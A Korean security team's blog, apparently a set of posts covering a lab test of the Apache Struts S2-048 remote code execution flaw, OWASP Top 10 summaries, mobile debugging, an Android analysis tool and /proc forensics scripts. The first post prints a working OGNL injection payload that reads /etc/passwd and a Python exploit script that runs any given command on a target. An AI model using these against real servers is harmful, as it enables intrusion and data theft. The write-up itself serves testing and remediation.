다음 URL에 먼저 참고하시면 도움이 되실 것 같습니다.

https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-9791

 http://struts.apache.org/docs/s2-048.html


테스트는 CentOS 6.9에서 Apache Struts 2.3.15.1 버전을 구성하여 진행하였습니다.


다음과 같은 공격구문을 URL 인코딩 한 후 name 파라미터에 입력 시도합니다.

%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cat /etc/passwd').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}


공격구문을 입력하여 접근할 경우 RCE(Remote Command Execution)가 발생하는 것을 확인하였습니다.

[그림 1] 취약한 Apache Struts 버전의 테스트 화면


위의 공격구문을 이용하여 다음과 같이 공격코드를 작성합니다.


# -*- coding: utf-8 -*-

 import sys

 import requests


 def exploit(url, cmd):

     payload = "%{"

     payload += "(#_='multipart/form-data')."

     payload += "(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)."

     payload += "(#_memberAccess?"

     payload += "(#_memberAccess=#dm):"

     payload += "((#container=#context['com.opensymphony.xwork2.ActionContext.container'])."

     payload += "(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class))."

     payload += "(#ognlUtil.getExcludedPackageNames().clear())."

     payload += "(#ognlUtil.getExcludedClasses().clear())."

     payload += "(#context.setMemberAccess(#dm))))."

     payload += "(#cmd='%s')." % cmd

     payload += "(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win')))."

     payload += "(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd}))."

     payload += "(#p=new java.lang.ProcessBuilder(#cmds))."

     payload += "(#p.redirectErrorStream(true))."

     payload += "(#process=#p.start())."

     payload += "(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()))."

     payload += "(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros))."

     payload += "(#ros.flush())"

    payload += "}"

 

     data = {

         "name": payload,

         "age": 26,

         "__checkbox_bustedBefore": "true",

         "description": "S2-048"

     }

 

> -- snip --<


 if __name__ == '__main__':

     if len(sys.argv) != 3:

         print "usage: python %s <url> <cmd>" % (sys.argv[0])

         sys.exit(0)

 

     print "[*] exploit Apache Struts2 S2-048"

     url = sys.argv[1]

     cmd = sys.argv[2]

 

     exploit(url, cmd)


작성한 공격코드를 실행할 경우 프록시를 이용하여 공격한 결과와 동일한 결과를 얻을 수 있습니다.


[그림 2] 작성한 공격코드 실행 - 1


[그림 3] 작성한 공격코드 실행 - 2


프록시를 통해 공격구문을 입력하여 접근 시, strace를 통해 분석하였습니다.


[그림 4] 요청 값 확인


[그림 5] 자식 프로세스 생성


[그림 6] /bin/bash 명령어 실행


[그림 7] /bin/cat 명령어 실행


[그림 8] /etc/passwd 파일 일기


[그림 9] /etc/passwd 파일 내용 응답


해당 취약점은 소스코드 수정을 통해 조치할 수 있습니다.


[그림 10] 취약한 SaveGangsterAction.java


[그림 11] 조치된 SaveGangsterAction.java


위와 같이 소스코드 수정을 통해 조치된 것을 확인하였습니다.

[그림 12] 조치 확인


저작자 표시 비영리 변경 금지
신고

OWASP Top10 2017

웹 어플리케이션 2017.07.17 11:29 Posted by TEAMCR@K

OWASP TOP 10 - 2017 RC1 버전이 4월 10일 자로 공개되었습니다.


아직까지는 최종 버전이 아닌 RC(Release Candidate) 버전으로 2017년 8월 25일까지 의견 수렴 후 새로운 OWASP Top 10 2017는 2017년 11월 말에 공개될 예정입니다.


해당 내용은 아래의 URL에서 확인하실 수 있습니다.

https://www.owasp.org/index.php/Category:OWASP_Top_Ten_Project



2013년 버전과 비교하여 내용적인 변화는 크게 없으며 일부 취약점이 통합되고 신규 취약점이 추가되었습니다.

변화된 내용은 아래와 같습니다.



통합된 항목:

A4 - Broken Access Control


추가된 항목:

A7 - Insufficient Attack Protection

A10 - Underprotected APIs



A4 - Broken Access Control (취약한 접근 통제)

2013-A4, 2013-A7의 내용이 2017-A4으로 합쳐지는 것으로 확인할 수 있습니다.

내용을 확인해보면 2013-A4 Insecure Direct Object References(취약한 직접 객체 참조)와 2013-A7 Missing Function Level Access Control(단계적 접근 제한 기능 누락) 이 두 부분이 통합되었습니다.

Broken Access Control은 OWASP TOP 10 - 2003/2004 버전에 있던 취약점 항목입니다.


인증되지 않은 사용자가 데이터에 접근하거나 기능들을 수행할 수 있는 취약점입니다.

신뢰할 수 없는 출처에서 직접 참조를 사용할 때마다 사용자가 요청된 자원에 대한 권한을 부여받았는지 확인하기 위해 액세스 제어 검사가 포함되어야 합니다.


A7 - Insufficient Attack Protection (불충분한 공격 방어)

대부분의 어플리케이션 및 API는 수동/자동화된 공격에 대하여 탐지, 예방, 대응할 수 있는 기본 기능이 부족합니다.

어플리케이션 소유자는 공격으로부터 보호할 수 있도록 신속하게 패치를 배포할 수 있어야 합니다.


A10 - Underprotected APIs (보호되지 않은 API)

최근 어플리케이션은 일종의 API(SOAP/XML, REST/JSON, RPC, GWT, 등)에 연결되는 브라우저 및 모바일 어플리케이션의 JavaScript와 같은 Rich Client Application과 API을 포함되는 경우가 많습니다. 이 API는 보호되지 않는 경우가 많으며, 다양한 취약점이 존재합니다.

클라이언트와 API 사이의 통신이 보호되고 있는지 확인해야 하며 API에 강력한 인증방식이 모든 인증 정보, 키 및 토큰이 보호되고 있는지 확인해야 합니다.

저작자 표시 비영리 변경 금지
신고

웹 모의해킹 시 개발자도구를 이용한 웹 애플리케이션 분석으로 로직에 허점을 발견하거나 DOM영역에 대한 변조를 통해 취약점을 찾는 등 분석을 하기 위해서는 다양한 방법이 존재합니다. 모바일 웹도 이처럼 브라우저를 이용하여 디버깅을 하거나 로직을 분석할 수 있는 방법이 있어 소개하고자 합니다.


주제: 크롬 브라우저를 이용한 모바일 웹 디버깅 및 분석 방법 소개

 1. 환경구성

 2. inspect를 이용한 mobile web remote debugging

 3. 크롬브라우저를 이용한 mobile web debugging


1. 환경구성

 - Chrome 버전 32 이상 설치 된 PC

 - 안드로이드 4.4 이상에서 크롬 설치

 - USB 디버깅 허용


2. Inspect를 이용한 Mobile web remote debugging

PC와 스마트폰을 연결 후 환경구성이 되면 크롬 브라우저 주소창에 chrome://inspect 를 입력합니다.

그 후 안드로이드 기기에서 크롬 브라우저를 실행 후 분석하고자 하는 대상 사이트로 접속합니다.

<그림1> 모바일에서 크롬브라우저 실행


inspect 버튼을 누르면 모바일에서 실행되는 사이트에 대한 remote debugging을 할 수 있게 됩니다.

<그림2> 크롬 브라우저 inspect 실행


다음과 같이 모바일 웹에 대한 디버깅 혹은 로직 분석이 가능하게 됩니다.

간단하게 breakpoint를 설정하고 모바일 웹에 대한 로직 분석을 하였습니다.

<그림3> 모바일 웹 디버깅 및 로직 분석


모바일 웹 사이트에 대한 함수 분석이나 스탭별 실행을 하여 로직 분석에 용이합니다.

<그림4> 모바일 웹 사이트 함수 및 실행 로직 분석


쿠키값 혹은 리소스 정보들을 확인할 수 있습니다.

<그림5> 모바일 사이트 내 리소스 정보 확인

 

Webview를 사용하는 앱에 대해서 분석할수 있습니다.

앱에 Webview debugging이 활성화 되어있어야 합니다. 코드패치나 소스수정을 통해 webview debugable을 true로 설정합니다.

<그림6> WebView를 사용한 앱에 대한 분석


inspect 버튼을 누르면 다음과 같이 디버깅 할 수 있는 화면에 접근하게 됩니다.

<그림7> Webview를 사용하는 모바일 앱에 대한 분석


3. 크롬브라우저를 이용한 mobile web debugging

모바일 웹에 대해서 스마트폰을 이용해서 분석을 할 수도 있지만 크롬 브라우저 내에 설정을 변경하여 모바일 웹에 대한 디버깅 및 분석을 할 수있는 방법도 존재합니다.


먼저 크롬 브라우저에서 F12 버튼을 누른 후 아래 그림과 같이 스마트폰 모양의 아이콘을 클릭합니다.

그 후에 Device 선택을 할 수 있는데, 환경에 맞는 Device를 설정하면 됩니다.

<그림8> 모바일 사이트 분석을 위한 크롬브라우저 설정 변경


breakpoint를 적용하여 로직 분석하거나 DOM영역에 대한 분석이 가능합니다.

<그림9> 모바일 사이트 로직 분석


콘솔로 정의된 함수를 확인하거나 파라미터 값들을 확인합니다.

<그림10> 모바일 웹 함수 분석



Async를 활성화해서 콜스택을 살펴봅니다.

<그림11> 호출 스택 확인 및 디버깅



이렇게 크롬 브라우저를 이용하여 모바일 웹에 대한 분석을 하고 다양한 방법으로 취약점에 대한 접근을 할 수 있게 됩니다.

모바일 웹에 대한 분석 환경은 크롬 브라우저를 통한 방법 이외에도 다양하게 있고, 저희 팀크랙에서는 상황에 맞춰 보다 효율적인 방법으로 취약점을 찾고 있습니다.

감사합니다.


참고자료

https://developer.chrome.com/devtools/docs/remote-debugging


저작자 표시 비영리 변경 금지
신고

안드로이드 애플리케이션 점검 시 디컴파일이나 리패키징 등의 작업을 좀 더 간편하게 하기 위해 도구를 제작하였습니다.

점검 시 유용하게 사용하시길 바라며 아래와 같이 공유합니다.

 

파일 정보 (분할 압축 해제한 파일)

버전: 1.2

파일크기: 37.6MB

MD5: 0695ef2faef52c47b9e0cdcefeb99d17

 

Android_Auto_Analysis_Tool_TEAMCR@K_v1.2.zip.001

Android_Auto_Analysis_Tool_TEAMCR@K_v1.2.zip.002

Android_Auto_Analysis_Tool_TEAMCR@K_v1.2.zip.003

Android_Auto_Analysis_Tool_TEAMCR@K_v1.2.zip.004

 

 

기능

1. Android App Decompile

   - apk 디컴파일, log 출력 및 초기화

2. Android App repackage

   - 앱 리패키징, 임의 서명, adb push로 단말기 내 apk 파일 생성, log 출력 및 초기화

3. AndroidMenifest.xml 파일 분석 자동화

   - 단말기 내 설치된 apk/package 목록 확인, apk 파일 추출, 디컴파일, menifest 파일 파싱, app이 사용하는 권한 확인

4. 화면 캡처

   - 단말기 화면 캡처 및 저장, log 출력 및 초기화

 

사용법 소개

 

툴의 main UI 입니다.

 

<그림 1> main UI 확인

 

 

툴 최초 실행 시 AppRepack 폴더 내에 기능에 필요한 도구들을 생성합니다. (C:\AppRepack)

  

<그림 2> 기능에 필요한 도구 생성

 

 

apktool 실행 시 필요한 '1.apk' 파일의 버전을 맞추기 위해 '1.apk' 파일을 생성합니다. (C:\Users\Account\apktool\framework\1.apk)

※ 기존에 사용하던 apktool을 사용하고자 하시는 분은 해당 폴더 내에 생성된 '1.apk' 파일을 삭제 후에 사용하시면 됩니다. 

 

<그림 3> '1.apk' 파일 생성 

 

 

1. 디컴파일

 

 

'decompile' 탭에서 'decode' 옵션 체크 후 'File Open' 버튼을 눌러 디컴파일 할 애플리케이션의 apk 파일을 선택합니다.

 

<그림 4> apk 파일 선택 

 

 

apk 파일 선택 후 'start' 버튼 클릭 시 디컴파일이 진행됩니다.

 

<그림 5> 디컴파일 진행

 

 

디컴파일 시 log 창에 결과가 나타나며, 성공 시 Success 메시지가 출력됩니다. (실패 시 실패한 log도 출력)

 

<그림 6> 디컴파일 시 log 확인 

 

 

해당 툴이 위치한 폴더와 동일한 폴더에 디컴파일된 apk 파일의 파일명으로 폴더가 생성됩니다.

 

<그림 7> 디컴파일된 apk 파일의 파일명으로 폴더 생성

 

 

해당 폴더 내에서 디컴파일된 파일들을 확인할 수 있습니다.

 

<그림 8> 디컴파일된 파일 확인

 

 

2. 리패키징

 

 

'decompile' 탭에서 'build' 옵션 체크 후 'Folder Open' 버튼을 눌러 리패키징 할 애플리케이션 폴더를 선택합니다.

 

<그림 9> 리패키징할 폴더 선택

 

 

폴더 선택 후 start 버튼을 클릭합니다. (안드로이드 단말기가 연결되어 있지 않을 경우 adb push는 수행되지 않음)

 

<그림 10> 폴더 선택 후 리패키징 수행

 

 

리패키징 성공 시 log 창에 Success 메시지가 출력됩니다. (실패 시 실패 log도 출력)

 

<그림 11> 리패키징 시도 시 log 확인

 

 

연결된 안드로이드 단말기 내에 apk 파일이 생성된 것을 확인할 수 있습니다.

 

  

<그림 12> 안드로이드 단말기 내 apk 파일 생성 확인

 

 

3. AndroidMenifest.xml 분석 자동화

※ AndroidMenifest.xml - 응용 프로그램의 구성과 관련된 모든 정보를 담고 있는 파일

 

 

'menifest' 탭에서 UI를 확인합니다.

 

<그림 13> 'AndroidMenifest.xml' 분석 UI 확인

 

 

'Get App List' 버튼 클릭 시 단말기 내에 설치된 apk와 package 목록이 출력됩니다. (단말기 연결 필수)

 

<그림 14> 단말기 내 설치된 apk와 package 목록 확인

 

 

출력된 리스트 중 원하는 앱 선택 후 'Get App' 버튼을 클릭하여 로컬에 apk 파일을 받을 수 있습니다.

 

<그림 15> apk 파일 추출 시도

 

 

해당 툴이 위치하고 있는 폴더 내에 apk 파일이 생성된 것을 확인할 수 있습니다.

 

<그림 16> 추출한 apk 파일 확인

 

 

'Open App' 버튼을 클릭 후 apk 파일을 선택합니다.

 

<그림 17> apk 파일 선택

 

 

apk 파일이 디컴파일 됩니다.

 

<그림 18> apk 파일 디컴파일

 

 

'activity' 버튼 클릭 시 manifest 파일을 파싱하여 리스트로 출력합니다.

 

<그림 19> manifest 파일 파싱 및 리스트 출력

 

 

'permission' 버튼 클릭 시 해당 app이 사용하는 권한을 출력하며 영어와 한글로 된 설명을 출력합니다.

 

<그림 20> app 사용 권한 및 설명 출력

 

 

4. 화면 캡처

 

 

'capture' 탭에서 해당 기능의 UI를 확인할 수 있습니다.

 

<그림 21> 화면 캡처 기능 UI 확인

 

 

'Capture' 버튼 클릭 시 현재 단말기의 화면이 출력됩니다.

 

<그림 22> 현재 단말기 화면 출력

 

 

'Save' 버튼을 눌러 캡쳐된 사진을 저장할 수 있습니다.

 

<그림 23> 캡처 파일 저장

 

 

생성된 캡처 파일을 확인할 수 있습니다.

 

<그림 24> 생성된 캡처 파일 확인

 

 

이 툴은 모바일 앱 점검 시 하게 되는 작업들을 자동화하여 좀 더 간편하게 점검하기 위해 제작되었으며, 오픈소스를 이용하였습니다.

 

저희는 금감원, 금융위 체크리스트 기반 점검이나 모바일 모의해킹 프로젝트 수행 시 앱 분석 및 변조, 앱이 사용하고 있는 권한 확인 등의 점검에 이 툴을 활용하고 있습니다. 

저희처럼 앱 점검 또는 모바일 모의해킹을 수행해야 하는 분이나 이 쪽으로 공부를 하고 계신 분들은 이 툴을 활용해 보시면 좋을 것 같습니다.

추후 지속적으로 기능을 추가하고 수정하여 업데이트하도록 하겠습니다.

감사합니다.

저작자 표시 비영리 변경 금지
신고

2015 TeamCR@K 신입/경력 팀원 모집

CR@K 이야기 2015.01.27 13:23 Posted by TEAMCR@K

TeamCR@K에서 신입/경력 팀원을 모집합니다.


안녕하세요.

저희 TeamCR@K 블로그를 방문해주시는 여려분 대단히 감사드립니다.

2015년 을미년 새해는 잘 시작하셨는지 모르겠습니다.


새해를 맞아 저희 TeamCR@K도 변화된 모습을 보여드리고자 신입/경력 팀원을 모집하려 합니다.

주로 하는 업무는 다음과 같습니다.


- 모의해킹 및 취약점 점검

- 알려진 취약점 분석

- 버그 헌팅 및 익스플로잇 구현

- 모의해킹 시나리오 기획 및 구현


지원 의사가 있으신분은 a3_crak (_AT_) a3security.com으로 간단한 포트폴리오를 첨부하여 메일 주시길 바라겠습니다.

아무쪼록 많은 참여 부탁드리며, 저희 TeamCR@K 멤버와 함게 좋은 인연 시작할 수 있으면 좋겠습니다.


감사합니다.



저희는 당신이 TeamCR@K에 무리없이 지원할 수 있다는 것을 알 수 있습니다만,

당신의 지원이 실제상황으로 이어질 수 있다는 것 까지는 알 수 없습니다.


결정은 당신이 하실 수 있습니다 :)



저작자 표시 비영리 변경 금지
신고

/proc 파일시스템의 활용

서버/WAS/DBMS 2014.12.05 14:01 Posted by TEAMCR@K

날씨가 갑작스럽게 추워진 12월입니다.

추위가 기승을 부리는데 보안관련 사건사고도 끊이지 않고 있네요.

오늘은 수 많은 보안관련 이슈 중 침해사고에 관련된 내용을 조금 전해드릴까 합니다.


보통 침해사고가 일어날 경우 루트킷이나 백도어가 설치되고 관리자가 이를 알아채지 못하도록 바이너리를 변조하는 행위를 하게 됩니다.

ps나 netstat과 같은 명령어들을 변조하면 프로세스 현황이나 네트워크 현황을 정상적으로 출력하지 못하겠죠.

이에 침해사고 분석 시에는 변조되지 않은 바이너리를 업로드하는 등의 형태로 진행하는 경우가 많습니다.


오늘은 /proc 파일시스템을 사용하여 간단하게 프로세스 정보와 네트워크 현황 정보를 볼 수 있는 방법을 알아볼까 합니다.

/proc 파일시스템을 분석하면 서버에 대한 많은 정보들을 알 수 있는데, 굳이 침해사고 분석 케이스만이 아니더라도 활용할 수 있는 부분이 많습니다.


* /proc 파일시스템을 활용한 네트워크 현황 체크하기

#!/bin/sh

#

# mini-netstat.sh

#

# Coded by TeamCR@K in A3Security

# TeamCR@K: 1ndr4, bash205, blarees, alrogia, fr33p13, kgyoun4, rhaps0dy, CrazyPure

#

FILES=("/proc/net/tcp" "/proc/net/tcp6")

for FILE in ${FILES[@]}; do

        echo "[*] ------------------- ${FILE}"

        echo

        echo -e "Local Address\tRemote Address"

        for LINE in $(cat ${FILE} | awk -F" " '{ print $2 "|" $3 }' | egrep -v address); do

                N=2

                IDX=0

                LINE_ARRAY=("")

                for ((P = 1; P < ${#LINE}; P+=2,N+=2,IDX++)) ; do

                        C=`echo "${LINE}" | cut -b ${P}-${P}`

                        if [ "${C}" == ":" ] || [ "${C}" == "|" ]; then

                                P=${P}-1; N=${N}-1;

                                continue

                        fi

                        LINE_ARRAY[${IDX}]=`echo "${LINE}" | cut -b ${P}-${N}`

                done

                # /proc/net/tcp

                if [ "${#LINE_ARRAY[@]}" == "12" ]; then

                        START=1

                        LOCAL_ADDR="$((16#${LINE_ARRAY[3]})).$((16#${LINE_ARRAY[2]})).$((16#${LINE_ARRAY[1]})).$((16#${LINE_ARRAY[0]}))"

                        LOCAL_PORT="$((16#${LINE_ARRAY[5]}${LINE_ARRAY[6]}))"

                        RMT_ADDR="$((16#${LINE_ARRAY[10]})).$((16#${LINE_ARRAY[9]})).$((16#${LINE_ARRAY[8]})).$((16#${LINE_ARRAY[7]}))"

                        RMT_PORT="$((16#${LINE_ARRAY[13]}${LINE_ARRAY[14]}))"

                        echo -e "${LOCAL_ADDR}:${LOCAL_PORT}\t${RMT_ADDR}:${RMT_PORT}"

                # /proc/net/tcp6

                elif [ "${#LINE_ARRAY[@]}" == "36" ]; then

                        LOCAL_ADDR="$((16#${LINE_ARRAY[15]})).$((16#${LINE_ARRAY[14]})).$((16#${LINE_ARRAY[13]})).$((16#${LINE_ARRAY[12]}))"

                        LOCAL_PORT="$((16#${LINE_ARRAY[17]}${LINE_ARRAY[18]}))"

                        RMT_ADDR="$((16#${LINE_ARRAY[35]})).$((16#${LINE_ARRAY[34]})).$((16#${LINE_ARRAY[33]})).$((16#${LINE_ARRAY[32]}))"

                        RMT_PORT="$((16#${LINE_ARRAY[37]}${LINE_ARRAY[38]}))"

                        echo -e "${LOCAL_ADDR}:${LOCAL_PORT}\t${RMT_ADDR}:${RMT_PORT}"

                else

                        echo "[!] Parse Error: ${LINE}"

                fi

        done

done


위 쉘 스크립트는 /proc/net/tcp, /proc/net/tcp6 파일의 내용을 파싱하여 현재 네트워크 현황을 알 수 있도록 제작된 스크립트입니다.

해당 쉘 스크립트를 실행하면 다음과 같이 netstat 명령의 결과와 비슷한 출력 결과를 보실 수 있습니다.


[그림 1] mini-netstat.sh 실행화면


/proc/net/tcp와 tcp6 파일은 Hex-Decimal 형태로 되어 있는데, 이를 변환하면 아이피와 포트정보를 알 수 있습니다.


[그림 2] 아이피와 포트정보가 Hex-Decimal 형태로 존재하는 /proc/net/tcp와 tcp6 파일


tcp와 tcp6의 내용을 변환하도록 하는 코드를 짜내느라 애 좀 먹었습니다. ^^;


* /proc 파일시스템을 활용한 프로세스 현황 체크하기

#!/bin/sh

# mini-proc.sh

#

# Coded by TeamCR@K in A3Security

# TeamCR@K: 1ndr4, bash205, blarees, alrogia, fr33p13, kgyoun4, rhaps0dy, CrazyPure

#

ROOT="/proc"

DELIM='|'


# Printable variables

REALPATH=""

CMDLINE=""

_USER=""

_UID=""


RESULT="<PID>${DELIM}<USER>${DELIM}<REALPATH>${DELIM}<CMDLINE>\n"


for PID in $(ls ${ROOT}); do

    DIR="$ROOT/$PID"

    if [ ! -d "$DIR" ]; then

        continue

    fi

    STATUS="$DIR/status"

    ############

    # 1. Get a valid process

    ###########

    if [ ! -f "${STATUS}" ]; then

        continue

    fi


    ############

    # 2. Get command line information of the process

    ###########

    CMDLINE=`cat /proc/${PID}/cmdline | sed -e 's/\x00/\x20/g'`

    if [ "$CMDLINE" == "" ]; then

        CMDLINE=`grep "Name:" ${STATUS} | awk '{ print $2 }'`

        if [ "$?" == "0" ]; then

                CMDLINE="[${CMDLINE}]"

        else

                CMDLINE="[Unknown]"

        fi

    fi


    ############

    # 3. Get real path of process binary

    ###########

    REALPATH=`readlink ${ROOT}/${PID}/exe`

    if [ "$?" == "1" ]; then

        REALPATH="[UNKNOWN]"

    fi


    ############

    # 4. Get UserID information of the process

    ###########

    _UID=`grep Uid /proc/${PID}/status | awk '{ print $2 }'`

    _USER=`getent passwd ${_UID} | cut -d: -f1`

    LINE="${PID}${DELIM}${_USER}${DELIM}${REALPATH}${DELIM}${CMDLINE}"

    RESULT="${RESULT}\n${LINE}"

done

echo -e $RESULT | column -t -s '|'


위 쉘 스크립트는 /proc/${PID}/status 파일과 /proc/${PID}/cmdline 파일을 기반으로 현재 실행되고 있는 프로세스 정보들을 출력하는 스크립트입니다.

해당 쉘 스크립트를 실행하면 다음과 같은 출력형태를 보실 수 있습니다.


[그림 3] mini-proc.sh 실행화면


간단하게 프로세스아이디 및 유저 정보, 프로세스 명을 출력하도록 되어 있습니다.

출력 결과 중 <REALPATH> 항목이 존재하는데 이는 프로세스의 실제 이미지 경로를 출력하도록 되어 있는 항목입니다.

본래 루트킷이나 백도어의 경우 프로세스 명을 숨기도록 작업한 사례들이 종종 있었습니다.

다음 화면은 프로세스 실행 중 ARGV[0] 메모리 영역을 다른 문자열로 Overwrite 하여 프로세스 명을 숨기도록 한 예입니다.


[그림 4] 프로세스 명을 숨기는 케이스


argv[0] 메모리 영역에 "[kjournald]"라는 문자열을 덮어씌워 일반적인 ps 명령으로 보면 정상적인 kernel thread로 오인할 수 있습니다.

<REALPATH> 항목은 위와 같은 경우를 위해 출력하도록 만든 항목입니다.

아래는 프로세스 명을 숨기도록 한 케이스에 mini-proc.sh 스크립트 실행을 적용해보았습니다. 


[그림 5] 프로세스 이미지의 실제 경로를 출력한 화면


kernel thread인 경우 프로세스 이미지의 FULL-PATH를 알 수 없어 "[UNKNOWN]"으로 표기됩니다.

그 외의 경우 일반 유저 권한으로 타 계정의 /proc 파일 시스템 파일의 열람권한이 없으므로 "[UNKNOWN]"으로 표기되는 경우가 있는데, 이는 root 권한으로 실행하여 해결 할 수 있습니다.


[그림 6] root 권한으로 실제 프로세스 이미지 경로를 얻어오기


/proc 파일시스템을 활용하면 위에 말씀드린 내용들보다 더 많은 정보들을 얻어올 수 있습니다.

/proc/$$/maps를 보면 현재 프로세스의 메모리 맵핑 정보를 볼 수 있고 /proc/cpuinfo나 /proc/meminfo를 참조하면 하드웨어 스펙을 알 수 있습니다.

또한 /proc/${PID}/fd 를 참조하면 해당 프로세스에서 open한 파일들을 알 수 있기 때문에 간이 lsof를 만드는 것도 가능할 듯 합니다.

linux를 조금 더 알고 싶으신 분들은 지금이라도 /proc 파일시스템에 관심을 가져보는 것은 어떨까요? ^^;


저희가 준비한 내용은 여기까지 입니다.

2014년 막바지에 날씨가 많이 추워졌으니 모두 몸 조심하시고 건강한 겨울 나시길 빌겠습니다.


읽어주셔서 감사합니다.


저작자 표시 비영리 변경 금지
신고

OWASP Mobile Top 10 - 2014 정리

스마트폰 2014.11.21 21:50 Posted by TEAMCR@K

1. 개요

OWASP Mobile Top 10 이 2014년 초 리-릴리즈 되었습니다. 그동안 금융권 및 기업들의 모바일 자산들에 대해 자사의 모바일 모의해킹 방법론과 금융위, 금감원 체크리스트 그리고 OWASP Mobile Top 10 리스트를 포함 하여 다수의 모의해킹 프로젝트를 수행하였습니다. 이번에 OWASP Mobile Top 10 List 에 대해 간단하게 정리할 기회가 생겨 블로그에 작성하게 되었습니다.

 

<그림1> OWASP Mobile Top 10 List

 

간단하게 Top 10 Risk를 살펴보면 다음과 같습니다.

 

○ M1 - 서버사이드에서 발생할 수 있는 취약점
            대부분의 앱이 서버와의 통신으로 이루어지고 개발시 하이브리드 앱으로 많이 개발되기 때문에 클라이언트에서 파라미터

            값 변조를 통한 웹에서 발생 할 수 있는 취약점들이 도출될 수 있습니다.
○ M2 -  중요정보들이 스마트폰 내에 저장되는 경우
            스마트폰 분실 혹은 공격자에 의해 권한 탈취 시 해당 중요정보들 또한 공격자에게 전달됩니다.
○ M3 -  민감한 정보 평문 전송
             개인정보 혹은 중요정보들이 네트워크상에서 평문으로 전송될때 발생하게 됩니다.
○ M4 -  의도하지 않은 데이터 누출
             타 앱에서 접근 가능한 데이터영역에 민감한 정보를 저장시 발생할 수있는 리스크 입니다.
○ M5 -  인증 및 인가 검증 미흡
             클라이언트 내부에서 인증 시 우회 가능하기 때문에 인증 검증을 서버사이드에서 인증 절차를 확인해야 합니다.
○ M6 -  취약한 암호화
             개발 시 암호화 기술에 대한 적정성 여부를 판단하여 적용해야 합니다.
○ M7 -  클라이언트 사이드 인젝션
             클라이언트에서 발생할 수 있는 인젝션 공격입니다.
○ M8 -  신뢰할 수 없는 입력 값에 의한 보안 의사결정
             프로세스간 통신 시 발생 할 수 있는 취약점입니다.
○ M9 -  부적절한 세션 관리
             서버에서 부여받은 세션 관리에 대해 나와있습니다.
○ M10 - 바이너리 보호 미흡
             앱과 서버와 통신 시 앱에 대한 무결성 검증이 필요합니다.

 

 

2. Risk List 상세

2.1 M1: Weak Server Side Controls

모바일 역시 서버와 통신하여 데이터를 받아오게 됩니다. OWASP Mobile top 10에서 첫번째는 Weak Server Side Controls입니다.
해당 방법론은 OWASP에서는 기존 web과 cloud 에 해당되는 OWASP Top 10 취약점을 포함한 서버사이드에서의 취약점을 Mobile Risk top 1으로 꼽았습니다.
자사에서의 방법론 또한 해당 항목을 포괄적으로 적용하여 보고서 및 수행계획서에 포함하여 모의해킹을 진행 합니다.

<그림2> OWASP Top 10 (Web, Cloud)

 

 

시큐어 코딩과 중요 로직 등 서버사이드에서 동작할수 있도록 해야하며, 자세한 정보는 OWASP Top 10 web, cloud 프로젝트를 참고합니다.
OWASP Top 10 Web: https://www.owasp.org/index.php/Top10#tab=Main
OWASP Top 10 Cloud: https://www.owasp.org/index.php/Category:OWASP_Cloud_%E2%80%90_10_Project

 

<그림 3> OWASP에서 보는 모바일 애플리케이션 취약점 리스트

 

 

3.2 M2: Insecure Data Storage

두번째 Insecure Data Storage는 기존 금감원, 금융위 점검 체크리스트에도 포함된 스마트폰에 중요정보 저장금지 항목과 동일합니다. 자사에서도 해당 항목에 대해 빠른 점검을 위해 현재 소스코드 및 데이터 안에 중요 문자열 검색 자동화 툴을 제작하고 있습니다.
또한 앱 소스코드안에 하드코딩되어있는 계정정보 혹은 테스트 서버 주소 등 또한 자동화된 툴로 찾아낼수 있도록 하여 컨설턴트가 앱 점검시 보다 효과적이고 빠르게 점검할 수 있도록 프로세스화 할 예정입니다.

 

중요 데이터 저장 확인 리스트
- SQLite databases
- Log Files
- Plist Files
- XML Data Stores or Manifest Files
- Binary data stores
- Cookie stores
- SD Card
- Cloud synced

 

대응방안으로는 다음과 같습니다.
기본적으로 중요데이터는 필요한 데이터를 제외하고는 모바일 디바이스 안에 저장하지 않아야 합니다.

 

iOS
 - 계정(자격증명)을 파일시스템 안에 저장해서는 안되며, 웹 또는 api 로그인 방식(https)을 통해 인증하고 세션시간은 사용자의

    사용 시간을 고려한 최소한의 시간으로 설정해야합니다.
 - 중요정보 저장시 iOS 표준 암호화 방식인 CommonCrypto를 사용하며, whitebox cyptography 솔루션을 이용하는것도 하나의

    방법입니다.
 - Sqlite data 암호화를 위해 SQLcipher를 사용합니다.
 - 개발시 NSUserDefualtes 에 중요정보를 저장하지 않아야 합니다.
 - NSManagedObects를 사용하여 데이터를 저장할 경우 암호화 되지 않은 데이터들이 저장되는 것을 주의해야 합니다.
 - 중요정보 저장 시 하드코딩된 암호화 또는 암호화 해독키에 의존하지 말아야 합니다.
 - OS에서 제공된 기본 암호화 메커니즘 이외 추가적인 암호화 계층을 고려해야 합니다.

 

Andorid
 - 기기관리자 API를 이용하여 local storage에 setStorageEncryption을 사용하여 암호화 할 수 있습니다.
 - javax.crypto의 라이브러리를 이용하여 SD카드 저장 시 암호화 할 수 있습니다. 가장 쉬운 방법은 마스터 암호 및 AES 128과

   일반 텍스트를 암호화 하는 것입니다.
 - 앱사이에 정보공유가 필요하지 않은 경우 공유설정 속성을 NOT MODE_WORLD_READABLE 해야 합니다.
 - 중요정보 저장 시 하드코딩된 암호화 또는 암호화 해독키에 의존하지 말아야 합니다.
 - OS에서 제공된 기본 암호화 메커니즘 이외 추가적인 암호화 계층을 고려해야 합니다.

 

 

